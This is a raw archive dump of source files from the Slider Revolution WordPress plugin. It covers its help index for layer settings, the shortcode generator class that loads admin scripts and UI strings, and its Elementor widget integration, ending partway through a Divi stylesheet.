								$k => array("full", "fullscreen", "full screen", "full screen button", "fullscreen button", "exit fullscreen", "enter fullscreen", "enter full screen", "go fullscreen", "go full screen", "toggle fullscreen", "toggle full"),
								$d => __("Toggle the Slider fullscreen and non-fullscreen on user-interaction", 'revsliderhelp'),
								$a => $u . "fullscreen-actions/",
								$hl => array(
									$dp => array(
										'.single_layer_action:first-child', 
										array($p => '#slide#.layers.#layer#.actions.action.#action#.action', $v => 'togglefullscreen', $o => 'layer_action_type')
									),  
									$m => "#module_layers_trigger, #gst_layer_5", 
									$st => '{actions}#layeraction_group_fullscreen', 
									$f => "#layeraction_picker_togglefullscreen, #layer_action_type",
									'modal' => 'actions'
								)
							)
						)
					),
					
					'gst_layer_13' => array(
						
						'visibility' => array(
							'desktop' => array(
								$t => __("Show/Hide on Desktop", 'revsliderhelp'),
								$h => "visibility.d",
								$k => array("visibility", "layer visibility", "show layer", "hide layer"),
								$d => __("Show or hide the Layer for the desktop viewport", 'revsliderhelp'),
								$a => $u . "responsive-settings/",
								$hl => array(
									$dp => array('layerselected'), 
									$m => "#module_layers_trigger, #gst_layer_13", 
									$st => '#form_layercontent_visibility', 
									$f => "*[data-r='visibility.d']"
								)
							),
							'laptop' => array(
								$t => __("Show/Hide on Laptop", 'revsliderhelp'),
								$h => "visibility.n",
								$k => array("visibility", "layer visibility", "show layer", "hide layer"),
								$d => __("Show or hide the Layer for the laptop viewport", 'revsliderhelp'),
								$a => $u . "responsive-settings/",
								$hl => array(
									$dp => array('layerselected'), 
									$m => "#module_layers_trigger, #gst_layer_13", 
									$st => '#form_layercontent_visibility', 
									$f => "*[data-r='visibility.n']"
								)
							),
							'tablet' => array(
								$t => __("Show/Hide on Tablet", 'revsliderhelp'),
								$h => "visibility.t",
								$k => array("visibility", "layer visibility", "show layer", "hide layer"),
								$d => __("Show or hide the Layer for the tablet viewport", 'revsliderhelp'),
								$a => $u . "responsive-settings/",
								$hl => array(
									$dp => array('layerselected'), 
									$m => "#module_layers_trigger, #gst_layer_13", 
									$st => '#form_layercontent_visibility', 
									$f => "*[data-r='visibility.t']"
								)
							),
							'phone' => array(
								$t => __("Show/Hide on Phone", 'revsliderhelp'),
								$h => "visibility.m",
								$k => array("visibility", "layer visibility", "show layer", "hide layer"),
								$d => __("Show or hide the Layer for the phone viewport", 'revsliderhelp'),
								$a => $u . "responsive-settings/",
								$hl => array(
									$dp => array('layerselected'), 
									$m => "#module_layers_trigger, #gst_layer_13", 
									$st => '#form_layercontent_visibility', 
									$f => "*[data-r='visibility.m']"
								)
							),
							'hide_under' => array(
								$t => __("Hide Under Width", 'revsliderhelp'),
								$h => "visibility.hideunder",
								$k => array("layer visibility", "hide under", "hide under width", "show layer", "hide layer"),
								$d => __("Hide the Layer when the browser window is equal to or below the value set in the Slider Settings", 'revsliderhelp'),
								$a => $u . "responsive-settings/",
								$hl => array(
									$dp => array('layerselected'), 
									$m => "#module_layers_trigger, #gst_layer_13", 
									$st => '#form_layercontent_visibility', 
									$f => "#layer_visibility_hideunder"
								)
							),
							'show_on_mouseover' => array(
								$t => __("Show on Mouse Over", 'revsliderhelp'),
								$h => "visibility.onlyOnSlideHover",
								$k => array("visibility", "layer visibility", "show layer", "hide layer"),
								$d => __("Only show the Layer when the user hovers their mouse over the Slider", 'revsliderhelp'),
								$a => $u . "responsive-settings/",
								$hl => array(
									$dp => array('layerselected'), 
									$m => "#module_layers_trigger, #gst_layer_13", 
									$st => '#form_layercontent_visibility', 
									$f => "#layer_visibility_showonover"
								)
							)
						)
					),
					'gst_layer_11' => array(
						'layer_id' => array(
							$t => __("Layer ID", 'revsliderhelp'),
							$h => "attributes.id",
							$k => array("layer id", "layer id attribute"),
							$d => __("Define an optional ID for the Layer to target it with custom CSS/JavaScript", 'revsliderhelp'),
							$a => $u . "layer-attributes/",
							$hl => array(
								$dp => array('layerselected'), 
								$m => "#module_layers_trigger, #gst_layer_11", 
								$st => '#form_layer_attributes', 
								$f => "#layer_id"
							)
						),
						'layer_classes' => array(
							$t => __("Layer Classes", 'revsliderhelp'),
							$h => "attributes.classes",
							$k => array("layer class", "layer classes"),
							$d => __("Add class names to the Layer to target it with custom CSS/JavaScript (separate multiple class names with spaces)", 'revsliderhelp'),
							$a => $u . "layer-attributes/",
							$hl => array(
								$dp => array('layerselected'), 
								$m => "#module_layers_trigger, #gst_layer_11", 
								$st => '#form_layer_attributes', 
								$f => "#layer_classes"
							)
						),
						'layer_title' => array(
							$t => __("Layer Title", 'revsliderhelp'),
							$h => "attributes.title",
							$k => array("layer title", "layer title attribute"),
							$d => __("Define the Layer's title attribute", 'revsliderhelp'),
							$a => $u . "layer-attributes/",
							$hl => array(
								$dp => array('layerselected'), 
								$m => "#module_layers_trigger, #gst_layer_11", 
								$st => '#form_layer_attributes', 
								$f => "#layer_title"
							)
						),
						'layer_rel' => array(
							$t => __("Layer Rel", 'revsliderhelp'),
							$h => "attributes.rel",
							$k => array("layer rel", "layer relattribute"),
							$d => __("Define the Layer's 'rel' attribute", 'revsliderhelp'),
							$a => $u . "layer-attributes/",
							$hl => array(
								$dp => array('layerselected'), 
								$m => "#module_layers_trigger, #gst_layer_11", 
								$st => '#form_layer_attributes', 
								$f => "#layer_rel"
							)
						),
						'tab_index' => array(
							$t => __("Tab Index", 'revsliderhelp'),
							$h => "attributes.tabIndex",
							$k => array("layer tab index", "layer tab-index"),
							$d => __("Define the Layer's tab-index.  Useful for defining focus on elements.", 'revsliderhelp'),
							$a => $u . "layer-attributes/",
							$hl => array(
								$dp => array('layerselected'), 
								$m => "#module_layers_trigger, #gst_layer_11", 
								$st => '#form_layer_attributes', 
								$f => "#layer_tbindex"
							)
						),
						'wrapper_id' => array(
							$t => __("Wrapper ID", 'revsliderhelp'),
							$h => "attributes.wrapperId",
							$k => array("wrapper id", "layer wrapper", "layer wrapper id"),
							$d => __("Define an optional ID for the Layer's outer-most wrapper to target it with custom CSS/JavaScript.", 'revsliderhelp'),
							$a => $u . "layer-attributes/",
							$hl => array(
								$dp => array('layerselected'), 
								$m => "#module_layers_trigger, #gst_layer_11", 
								$st => '#form_layer_attributes', 
								$f => "#layer_wrapper_id"
							)
						),
						'wrapper_classes' => array(
							$t => __("Wrapper Classes", 'revsliderhelp'),
							$h => "attributes.wrapperClasses",
							$k => array("wrapper classes", "layer wrapper", "layer wrapper classes"),
							$d => __("Add class names to the Layer's outer-most wrapper to target it with custom CSS/JavaScript (separate multiple class names with spaces)", 'revsliderhelp'),
							$a => $u . "layer-attributes/",
							$hl => array(
								$dp => array('layerselected'), 
								$m => "#module_layers_trigger, #gst_layer_11", 
								$st => '#form_layer_attributes', 
								$f => "#layer_wrapper_classes"
							)
						)
					),
					'addons' => array()
				)
			)
		);
		return array('translations' => $translations, 'helpindex' => apply_filters('revslider_help_directory', $helpindex));
	}
}PK�y3\�e�!=!=:includes/shortcode_generator/shortcode_generator.class.phpnu�[���<?php
/**
 * @author    ThemePunch <info@themepunch.com>
 * @link      https://www.themepunch.com/
 * @copyright 2019 ThemePunch
 */

if(!defined('ABSPATH')) exit();

class RevSliderShortcodeWizard extends RevSliderFunctions {

	public static function enqueue_scripts(){
		global $pagenow;

		$f = RevSliderGlobals::instance()->get('RevSliderFunctions');
		$action = $f->get_val($_GET, 'action');
		if($action === 'elementor') return;

		// only add scripts if native WordPress editor, Gutenberg or Visual Composer
		// Elementor has its own hooks for adding scripts
		
		if($action === 'edit' || $pagenow === 'post-new.php' || $pagenow === 'widgets.php' || $f->get_val($_GET, 'vc_action', '') === 'vc_inline'){
			self::add_scripts();
		}

	}

	public static function add_styles(){
		wp_enqueue_style('revslider-material-icons', RS_PLUGIN_URL . 'public/assets/fonts/material/material-icons.css', array(), RS_REVISION);
		//wp_enqueue_style('revslider-material-icons', RS_PLUGIN_URL . 'admin/assets/icons/material-icons.css', array(), RS_REVISION);
		wp_enqueue_style('revslider-basics-css', RS_PLUGIN_URL . 'admin/assets/css/basics.css', array(), RS_REVISION);
		wp_enqueue_style('rs-color-picker-css', RS_PLUGIN_URL . 'admin/assets/css/tp-color-picker.css', array(), RS_REVISION);
		wp_enqueue_style('revbuilder-ddTP', RS_PLUGIN_URL . 'admin/assets/css/ddTP.css', array(), RS_REVISION);
		wp_enqueue_style('rs-roboto', '//fonts.googleapis.com/css?family=Roboto');
		wp_enqueue_style('tp-material-icons', '//fonts.googleapis.com/icon?family=Material+Icons');
	}

	public static function add_scripts($elementor = false, $divi = false){
		$f = RevSliderGlobals::instance()->get('RevSliderFunctions');
		$action = $f->get_val($_GET, 'action');
		if($elementor && $action !== 'elementor') return;

		require_once(RS_PLUGIN_PATH . 'admin/includes/functions-admin.class.php');
		require_once(RS_PLUGIN_PATH . 'admin/includes/template.class.php');
		require_once(RS_PLUGIN_PATH . 'admin/includes/folder.class.php');
		require_once(RS_PLUGIN_PATH . 'public/revslider-front.class.php');

		//check user permissions
		if(!current_user_can('edit_posts') && !current_user_can('edit_pages')) return;
		if(!$elementor && !$divi){
			//verify the post type
			global $typenow, $pagenow;

			$post_types = get_post_types();
			if(empty($post_types) || !is_array($post_types)) $post_types = array('post', 'page');
			if(!in_array($typenow, $post_types) && $pagenow !== 'widgets.php') return;

			$current_screen = get_current_screen();

			// checks for built-in gutenberg version
			$is_gutenberg = !empty($current_screen) && method_exists($current_screen, 'is_block_editor') && $current_screen->is_block_editor();

			// checks for old plugin version
			if(!$is_gutenberg) $is_gutenberg = function_exists('is_gutenberg_page') && is_gutenberg_page();

			// gutenberg
			if(!$is_gutenberg){
				add_filter('mce_external_plugins', array('RevSliderShortcodeWizard', 'add_tinymce_shortcode_editor_plugin'));
				add_filter('mce_buttons', array('RevSliderShortcodeWizard', 'add_tinymce_shortcode_editor_button'));
			}

			// enqueue styles
			self::add_styles();
		}

		$output_class = new RevSliderOutput();
		$output_class->add_inline_double_jquery_error(true);
		echo RevSliderFront::js_set_start_size();

		$dev_mode = (!file_exists(RS_PLUGIN_PATH.'admin/assets/js/plugins/utils.min.js') && !file_exists(RS_PLUGIN_PATH.'admin/assets/js/modules/editor.min.js')) ? true : false;

		if($dev_mode === true){
			wp_enqueue_script('revbuilder-basics', RS_PLUGIN_URL . 'admin/assets/js/modules/basics.js', array('jquery'), RS_REVISION, false);
			wp_enqueue_script('revbuilder-ddTP', RS_PLUGIN_URL . 'admin/assets/js/plugins/ddTP.js', array('jquery'), RS_REVISION, false);
			wp_enqueue_script('revbuilder-color-picker-js', RS_PLUGIN_URL . 'admin/assets/js/plugins/tp-color-picker.min.js', array('jquery', 'revbuilder-ddTP', 'wp-i18n', 'wp-color-picker'), RS_REVISION);
			wp_enqueue_script('revbuilder-clipboard', RS_PLUGIN_URL . 'admin/assets/js/plugins/clipboard.min.js', array('jquery'), RS_REVISION, false);
			wp_enqueue_script('revbuilder-utils', RS_PLUGIN_URL . 'admin/assets/js/modules/objectlibrary.js', array('jquery'), RS_REVISION, false);
			wp_enqueue_script('revbuilder-optimizer', RS_PLUGIN_URL . 'admin/assets/js/modules/optimizer.js', array('jquery'), RS_REVISION, false);					
		}else{
			wp_enqueue_script('revbuilder-utils', RS_PLUGIN_URL . 'admin/assets/js/plugins/utils.min.js', array('jquery', 'wp-i18n', 'wp-color-picker'), RS_REVISION, false);
		}

		wp_enqueue_script('tp-tools', RS_PLUGIN_URL . 'public/assets/js/rbtools.min.js', array('jquery'), RS_TP_TOOLS, true);

		// object library translations
		wp_localize_script('revbuilder-utils', 'RVS_LANG', array(			
			'sliderasmodal' => __('Use as Modal', 'revslider'),
			'noadminthumbs' => __('No Admin Thumb set', 'revslider'),
			'corejs' => __('Core JavaScript', 'revslider'),
			'corecss' => __('Core CSS', 'revslider'),
			'coretools' => __('Core Tools (GreenSock & Co)', 'revslider'),
			'enablecompression' => __('Enable Server Compression', 'revslider'),
			'noservercompression' => __('Not Available, read FAQ', 'revslider'),
			'servercompression' => __('Serverside Compression', 'revslider'),
			'sizeafteroptim' => __('Size after Optimization', 'revslider'),
			'chgimgsizesrc' => __('Change Image Size or Src', 'revslider'),
			'pickandim' => __('Pick another Dimension', 'revslider'),
			'optimize' => __('Optimize', 'revslider'),
			'applychanges' => __('Apply Changes', 'revslider'),
			'savechanges' => __('Save Changes', 'revslider'),
			'suggestion' => __('Suggestion', 'revslider'),
			'toosmall' => __('Too Small', 'revslider'),
			'standard1x' => __('Standard (1x)', 'revslider'),
			'retina2x' => __('Retina (2x)', 'revslider'),
			'oversized' => __('Oversized', 'revslider'),
			'quality' => __('Quality', 'revslider'),
			'file' => __('File', 'revslider'),
			'resize' => __('Resize', 'revslider'),
			'lowquality' => __('Optimized (Low Quality)', 'revslider'),
			'notretinaready' => __('Not Retina Ready', 'revslider'),
			'element' => __('Element', 'revslider'),
			'calculating' => __('Calculating...', 'revslider'),
			'filesize' => __('File Size', 'revslider'),
			'dimension' => __('Dimension', 'revslider'),
			'dimensions' => __('Dimensions', 'revslider'),
			'optimization' => __('Optimization', 'revslider'),
			'optimized' => __('Optimized', 'revslider'),
			'smartresize' => __('Smart Resize', 'revslider'),
			'optimal' => __('Optimal', 'revslider'),
			'recommended' => __('Recommended', 'revslider'),
			'hrecommended' => __('Highly Recommended', 'revslider'),
			'optimizertitel' => __('File Size Optimizer', 'revslider'),
			'loadedmediafiles' => __('Loaded Media Files', 'revslider'),
			'loadedmediainfo' => __('Optimize to save up to ', 'revslider'),
			'optselection' => __('Optimize Selection', 'revslider'),
			'copyrightandlicenseinfo' => __('&copy; Copyright & License Info', 'revslider'),
			'ol_images' => __('Images', 'revslider'),
			'ol_layers' => __('Layer Objects', 'revslider'),
			'ol_objects' => __('Objects', 'revslider'),
			'ol_modules' => __('Own Modules', 'revslider'),
			'ol_fonticons' => __('Font Icons', 'revslider'),
			'ol_moduletemplates' => __('Module Templates', 'revslider'),
			'ol_videos' => __('Videos', 'revslider'),
			'ol_svgs' => __('SVG\'s', 'revslider'),
			'ol_favorite' => __('Favorites', 'revslider'),
			'simproot' => __('Root', 'revslider'),
			'loading' => __('Loading', 'revslider'),
			'elements' => __('Elements', 'revslider'),
			'loadingthumbs' => __('Loading Thumbnails...', 'revslider'),
			'moduleBIG' => __('MODULE', 'revslider'),
			'packageBIG' => __('PACKAGE', 'revslider'),
			'installed' => __('Installed', 'revslider'),
			'notinstalled' => __('Not Installed', 'revslider'),
			'setupnotes' => __('Setup Notes', 'revslider'),
			'requirements' => __('Requirements', 'revslider'),
			'installedversion' => __('Installed Version', 'revslider'),
			'availableversion' => __('Available Version', 'revslider'),			
			'installpackage' => __('Installing Template Package', 'revslider'),			
			'doinstallpackage' => __('Install Template Package', 'revslider'),
			'installtemplate' => __('Install Template', 'revslider'),
			'installingaddon' => __('Installing Add-on', 'revslider'),
			'checkversion' => __('Update To Latest Version', 'revslider'),
			'installpackageandaddons' => __('Install Template Package & Addon(s)', 'revslider'),
			'installtemplateandaddons' => __('Install Template & Addon(s)', 'revslider'),
			'licencerequired' => __('Activate License', 'revslider'),
			'redownloadTemplate' => __('Re-Download Online', 'revslider'),
			'createBlankPage' => __('Create Blank Page', 'revslider'),
			'pluginsmustbeupdated' => __('Plugin Outdated. Please Update', 'revslider'),
			'please_wait_a_moment' => __('Please Wait a Moment', 'revslider'),
			'search' => __('Search', 'revslider'),
			'folderBIG' => __('FOLDER', 'revslider'),
			'objectBIG' => __('OBJECT', 'revslider'),
			'imageBIG' => __('IMAGE', 'revslider'),
			'videoBIG' => __('VIDEO', 'revslider'),
			'iconBIG' => __('ICON', 'revslider'),
			'svgBIG' => __('SVG', 'revslider'),
			'fontBIG' => __('FONT', 'revslider'),
			'show' => __('Show', 'revslider'),
			'perpage' => __('Per Page', 'revslider'),
			'updatefromserver' => __('Update List', 'revslider'),
			'imageisloading' => __('Image is Loading...', 'revslider'),
			'importinglayers' => __('Importing Layers...', 'revslider'),
			'layerwithaction' => __('Layer with Action', 'revslider'),
			'triggeredby' => __('Behavior', 'revslider'),
			'nrlayersimporting' => __('Layers Importing', 'revslider'),
			'nothingselected' => __('Nothing Selected', 'revslider'),
			'sortbycreation' => __('Sort by Creation', 'revslider'),
			'creationascending' => __('Creation Ascending', 'revslider'),
			'sortbytitle' => __('Sort by Title', 'revslider'),
			'titledescending' => __('Title Descending', 'revslider'),
			'active_sr_to_access' => __('Register Slider Revolution<br>to Unlock Premium Features', 'revslider'),				
			'addons' => __('Add-Ons', 'revslider'),
			'active_sr_tmp_obl' => __('Template & Object Library', 'revslider'),
			'active_sr_inst_upd' => __('Instant Updates', 'revslider'),
			'active_sr_one_on_one' => __('1on1 Support', 'revslider'),			
			'membersarea' => __('Members Area', 'revslider'),
			'onelicensekey' => __('1 License Key per Website!', 'revslider'),
			'onepurchasekey' => __('1 Purchase Code per Website!', 'revslider'),
			'onelicensekey_info' => __('If you want to use your license key on another domain, please<br> deregister it in the members area or use a different key.', 'revslider'),
			'onepurchasekey_info' => __('If you want to use your purchase code on<br>another domain, please deregister it first or', 'revslider'),
			'registeredlicensekey' => __('Registered License Key', 'revslider'),
			'registeredpurchasecode' => __('Registered Purchase Code', 'revslider'),
			'registerlicensekey' => __('Register License Key', 'revslider'),
			'registerpurchasecode' => __('Register Purchase Code', 'revslider'),
			'registerCode' => __('Register this Code', 'revslider'),
			'registerKey' => __('Register this License Key', 'revslider'),
			'deregisterCode' => __('Deregister this Code', 'revslider'),
			'deregisterKey' => __('Deregister this License Key', 'revslider'),
			'active_sr_plg_activ' => __('Register Purchase Code', 'revslider'),
			'active_sr_plg_activ_key' => __('Register License Key', 'revslider'),
			'getpurchasecode' => __('Get a Purchase Code', 'revslider'),
			'getlicensekey' => __('Get a License Key', 'revslider'),
			'ihavepurchasecode' => __('I have a Purchase Code', 'revslider'),
			'ihavelicensekey' => __('I have a License Key', 'revslider'),
			'enterlicensekey' => __('Enter License Key', 'revslider'),
			'enterpurchasecode' => __('Enter Purchase Code', 'revslider'),
			'premium_template' => __('PREMIUM TEMPLATE', 'revslider'),
			'rs_premium_content' => __('This is a Premium template from the Slider Revolution <a target="_blank" rel="noopener" href="https://www.sliderrevolution.com/examples/">template library</a>. It can only be used on this website with a <a target="_blank" rel="noopener" href="https://www.sliderrevolution.com/manual/quick-setup-register-your-plugin/?utm_source=admin&utm_medium=button&utm_campaign=srusers&utm_content=registermanual">registered license key</a>.', 'revslider'),
			'premium' => __('Premium', 'revslider'),
			'premiumunlock' => __('REGISTER LICENSE TO UNLOCK', 'revslider')

		));

		wp_enqueue_script('revbuildet-shortcode-generator-js', RS_PLUGIN_URL . 'admin/assets/js/shortcode_generator/shortcode_generator.js', array('jquery'), RS_REVISION, true);		

		$rsaf = new RevSliderFunctionsAdmin();
		$rsa = $rsaf->get_short_library();
		if(!empty($rsa)) $obj = $rsaf->json_encode_client_side($rsa);

		$rs_compression = $rsaf->compression_settings();
		$favs = get_option('rs_favorite', array());
		$favs = !empty($favs) ? $rsaf->json_encode_client_side($favs) : false;
		
		$rs_color_picker_presets = RSColorpicker::get_color_presets();
		
		?>
		<script type="text/javascript">
            var ajaxurl = '<?php echo esc_js( admin_url( 'admin-ajax.php', 'relative' ) ); ?>';
			window.RVS = window.RVS === undefined ? {F:{}, C:{}, ENV:{}, LIB:{}, V:{}, S:{}} : window.RVS;
			RVS.LIB.OBJ = RVS.LIB.OBJ===undefined ? {} : RVS.LIB.OBJ;

			var RS_DEFALIAS,
				RS_SHORTCODE_FAV;

			RVS.ENV.plugin_url	= '<?php echo RS_PLUGIN_URL; ?>';
			RVS.ENV.plugin_dir	= 'revslider';
			RVS.ENV.ajax_url	= '<?php echo esc_js( admin_url( 'admin-ajax.php') ); ?>';
			RVS.ENV.admin_url	= '<?php echo admin_url('admin.php?page=revslider'); ?>';
			RVS.ENV.nonce		= '<?php echo wp_create_nonce('revslider_actions'); ?>';
			RVS.ENV.activated	= '<?php echo (get_option('revslider-valid', 'false')) == 'true' ? 'true' : 'false'; ?>';
			RVS.ENV.activated	= RVS.ENV.activated == 'true' || RVS.ENV.activated == true ? true : false;
			RVS.ENV.selling		= <?php echo ($rsaf->get_addition('selling') === true) ? 'true' : 'false'; ?>;
			RVS.LIB.COLOR_PRESETS	= <?php echo (!empty($rs_color_picker_presets)) ? 'JSON.parse('. $rsaf->json_encode_client_side($rs_color_picker_presets) .')' : '{}'; ?>;
			
			window.addEventListener('load', function(){
				RVS.ENV.output_compress	= <?php echo (!empty($rs_compression)) ? 'JSON.parse('. $rsaf->json_encode_client_side($rs_compression) .')' : '[]'; ?>;
				<?php if(!empty($rsa)){ ?>
				RVS.LIB.OBJ = {shortcode_generator: true, types: JSON.parse(<?php echo $obj; ?>)};
				<?php }else{ ?>
				RVS.LIB.OBJ = {};
				<?php }
				if(!empty($favs)){ ?>
				RS_SHORTCODE_FAV = JSON.parse(<?php echo $favs; ?>);
				<?php } ?>
			});

		</script>
		<?php
	}

	public static function enqueue_files(){
		echo '<div id="rb_modal_underlay" style="display:none"></div>';

		require_once(RS_PLUGIN_PATH . 'admin/views/modals-copyright.php');
	}


	/**
	 * add script tinymce shortcode script
	 * @since: 5.1.1
	 */
	public static function add_tinymce_shortcode_editor_plugin($plugin_array){
		$plugin_array['revslider_sc_button'] = RS_PLUGIN_URL . 'admin/assets/js/shortcode_generator/tinymce.js';

		return $plugin_array;
	}

	/**
	 * Add button to tinymce
	 * @since: 5.1.1
	 */
	public static function add_tinymce_shortcode_editor_button($buttons){
		array_push($buttons, 'revslider_sc_button');

		return $buttons;
	}

}

/**
 * old classname extends new one (old classnames will be obsolete soon)
 * @since: 5.0
 **/
class RevSlider_TinyBox extends RevSliderShortcodeWizard {}
class RevSliderTinyBox extends RevSlider_TinyBox {}PK�y3\�ƹ�&includes/shortcode_generator/index.phpnu�[���<?php // Silence is golden
PK�y3\�2���:includes/shortcode_generator/elementor/elementor.class.phpnu�[���<?php
/**
 * @author    ThemePunch <info@themepunch.com>
 * @link      https://www.themepunch.com/
 * @copyright 2019 ThemePunch
 */
 
if(!defined('ABSPATH')) exit();

class RevSliderElementor {
	
	public static function init() {
		
		$min_elementor_version = '2.0.0';
		$min_php_version = '7.0';
	
		// Check if Elementor installed and activated
		if(!did_action('elementor/loaded')) return;
		
		// Check for required Elementor version
		if(!version_compare(ELEMENTOR_VERSION, $min_elementor_version, '>=' )) return;
		
		// Check for required PHP version
		if(version_compare(PHP_VERSION, $min_php_version, '<')) return;
		
		// Add Plugin actions
		add_action('elementor/widgets/widgets_registered', array('RevSliderElementor', 'init_elementor_widgets'));	
		
		// Register Widget Styles/Scripts
		add_action('elementor/editor/after_enqueue_styles', array('RevSliderShortcodeWizard', 'add_styles'));
		add_action('elementor/editor/after_enqueue_scripts', array('RevSliderElementor', 'add_scripts'));
		
	}
	
	public static function add_scripts() {
		
		RevSliderShortcodeWizard::add_scripts(true);
		
	}
	
	public static function init_elementor_widgets() {
		
		// Include Widget files
		require_once(plugin_dir_path( __FILE__) . 'elementor-widget.class.php');

		// Register widget
		$widgets_manager = \Elementor\Plugin::instance()->widgets_manager;
		$widgets_manager->register_widget_type( new RevSliderElementorWidget() );

	}
	
}PK�y3\�ƹ�0includes/shortcode_generator/elementor/index.phpnu�[���<?php // Silence is golden
PK�y3\c��VVAincludes/shortcode_generator/elementor/elementor-widget.class.phpnu�[���<?php
/**
 * @author    ThemePunch <info@themepunch.com>
 * @link      https://www.themepunch.com/
 * @copyright 2019 ThemePunch
 */

if(!defined('ABSPATH')) exit();

class RevSliderElementorWidget extends \Elementor\Widget_Shortcode {

	public function get_name() {
		
		return 'slider_revolution';
		
	}

	public function get_title() {
		
		return 'Slider Revolution 6';
		
	}

	public function get_icon() {
		
		return 'eicon-sync';
		
	}

	public function get_categories() {
		
		return array('general');
		
	}

	protected function _register_controls() {
		
		/*Fallback
		$shortcode = $this->get_settings_for_display( 'text' );
		if(empty($shortcode)) $shortcode = $this->get_settings_for_display( 'shortcode' ); 

		$revslidertitle = $this->get_settings_for_display( 'sliderTitle' );
		if(empty($revslidertitle)) $revslidertitle = $this->get_settings_for_display( 'revslidertitle' ); 

		var_dump($revslidertitle);
		*/

		$this->start_controls_section(
			'content_section',
			array(
				'label' => 'Slider Revolution 6',
				'tab' => \Elementor\Controls_Manager::TAB_CONTENT,
			)
		);
		
		$this->add_control(
			'revslidertitle',
			array(
				'label' => __( 'Selected Module:', 'revslider' ),
				'type' => \Elementor\Controls_Manager::TEXT,
				'render_type' => 'none',
				'placeholder' => '',
				'default' => '',
				'event' => 'themepunch.selectslider',
			)
		);
		
		$this->add_control(
			'shortcode',
			array(
				//'type' => \Elementor\Controls_Manager::HIDDEN,
				'type' => \Elementor\Controls_Manager::TEXT,
				'label' => __( 'Shortcode', 'revslider' ),
				'dynamic' => ['active' => true],
				'placeholder' => '',
				'default' => '',
			)
		);

		$this->add_control(
			'wrapperid',
			array(
				//'type' => \Elementor\Controls_Manager::HIDDEN,
				'type' => \Elementor\Controls_Manager::TEXT,
				'label' => __( 'Wrapper ID', 'revslider' ),
				//'dynamic' => ['active' => true],
				'placeholder' => '',
				'default' => '',
			)
		);

		// Advanced 		
		$this->add_control(
			'select_slider',
			array(
				'type' => \Elementor\Controls_Manager::BUTTON,
				'button_type' => 'default',
				'text' => __( '<i type="button" class="material-icons">cached</i> Select Module', 'revslider' ),
				'event' => 'themepunch.selectslider',
			)
		);
		
		$this->add_control(
			'edit_slider',
			array(
				'type' => \Elementor\Controls_Manager::BUTTON,
				'button_type' => 'default',
				'text' => __( '<i type="button" class="material-icons">edit</i> Edit Module', 'revslider' ),
				'event' => 'themepunch.editslider',
			)
		);

		$this->add_control(
			'settings_slider',
			array(
				'type' => \Elementor\Controls_Manager::BUTTON,
				'button_type' => 'default',
				'text' => __( '<i type="button" class="material-icons">tune</i> Block Settings', 'revslider' ),
				'event' => 'themepunch.settingsslider',
			)
		);

		$this->add_control(
			'optimize_slider',
			array(
				'type' => \Elementor\Controls_Manager::BUTTON,
				'button_type' => 'default',
				'text' => __( '<i type="button" class="material-icons">flash_on</i> Optimize File Sizes', 'revslider' ),
				'event' => 'themepunch.optimizeslider',
			)
		);
		$this->end_controls_section();	
	}

	protected function render() {
		global $rs_loaded_by_editor;
		
		if ( \Elementor\Plugin::$instance->editor->is_edit_mode() ) $rs_loaded_by_editor = true;

		$shortcode = $this->get_settings_for_display( 'shortcode' );
		$wrapperid = $this->get_settings_for_display( 'wrapperid' );
		$wrapperid = empty($wrapperid) ? '': 'id="' . $wrapperid . '" ';
		$shortcode = do_shortcode( shortcode_unautop( $shortcode ) );

		$zindex = $this->get_settings_for_display( 'zindex' );
		$style = $zindex ? ' style="z-index:'.$zindex.';"' : '';

		// hack to make sure object library only opens when the user manually adds a slider to the page
		if(empty($shortcode)) {
		?>
		<script type="text/javascript">window.parent.elementorSelectRevSlider();</script>
		<?php
		}
		?>

		<div <?php echo $wrapperid; ?>class="wp-block-themepunch-revslider"<?php echo $style;?>><?php echo $shortcode; ?></div>

		<?php

		if ( \Elementor\Plugin::$instance->editor->is_edit_mode() ) $rs_loaded_by_editor = false;
	}
	

}PK�y3\�ƹ�+includes/shortcode_generator/divi/index.phpnu�[���<?php // Silence is golden
PK�y3\Ԗ|g)#)#:includes/shortcode_generator/divi/styles/style-dbp.min.cssnu�[���.et_divi_builder #et_builder_outer_content .et-db #et-boc .et-l .et-fb-modules-list .revslider_divi .et-fb-icon svg{width:100%;height:65%;margin-top:5px}.et_divi_builder #et_builder_outer_content .revslider_divi_block .revslider_title{-webkit-box-sizing:border-box;box-sizing:border-box;height:60px;line-height:30px;padding:15px 15px 15px 160px;background:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAPAAAAA8CAYAAABYfzddAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAyhpVFh0WE1MOmNvbS5hZG9iZS54bXAAAAAAADw/eHBhY2tldCBiZWdpbj0i77u/IiBpZD0iVzVNME1wQ2VoaUh6cmVTek5UY3prYzlkIj8+IDx4OnhtcG1ldGEgeG1sbnM6eD0iYWRvYmU6bnM6bWV0YS8iIHg6eG1wdGs9IkFkb2JlIFhNUCBDb3JlIDUuNi1jMTQ1IDc5LjE2MzQ5OSwgMjAxOC8wOC8xMy0xNjo0MDoyMiAgICAgICAgIj4gPHJkZjpSREYgeG1sbnM6cmRmPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5LzAyLzIyLXJkZi1zeW50YXgtbnMjIj4gPHJkZjpEZXNjcmlwdGlvbiByZGY6YWJvdXQ9IiIgeG1sbnM6eG1wPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvIiB4bWxuczp4bXBNTT0iaHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wL21tLyIgeG1sbnM6c3RSZWY9Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9zVHlwZS9SZXNvdXJjZVJlZiMiIHhtcDpDcmVhdG9yVG9vbD0iQWRvYmUgUGhvdG9zaG9wIENDIDIwMTkgKE1hY2ludG9zaCkiIHhtcE1NOkluc3RhbmNlSUQ9InhtcC5paWQ6RjhDQzIyNjI5QkEyMTFFOTk3NzBEMDlFNjc1MjU1MjIiIHhtcE1NOkRvY3VtZW50SUQ9InhtcC5kaWQ6RjhDQzIyNjM5QkEyMTFFOTk3NzBEMDlFNjc1MjU1MjIiPiA8eG1wTU06RGVyaXZlZEZyb20gc3RSZWY6aW5zdGFuY2VJRD0ieG1wLmlpZDpCNUMwRkJGRjlCNjAxMUU5OTc3MEQwOUU2NzUyNTUyMiIgc3RSZWY6ZG9jdW1lbnRJRD0ieG1wLmRpZDpCNUMwRkMwMDlCNjAxMUU5OTc3MEQwOUU2NzUyNTUyMiIvPiA8L3JkZjpEZXNjc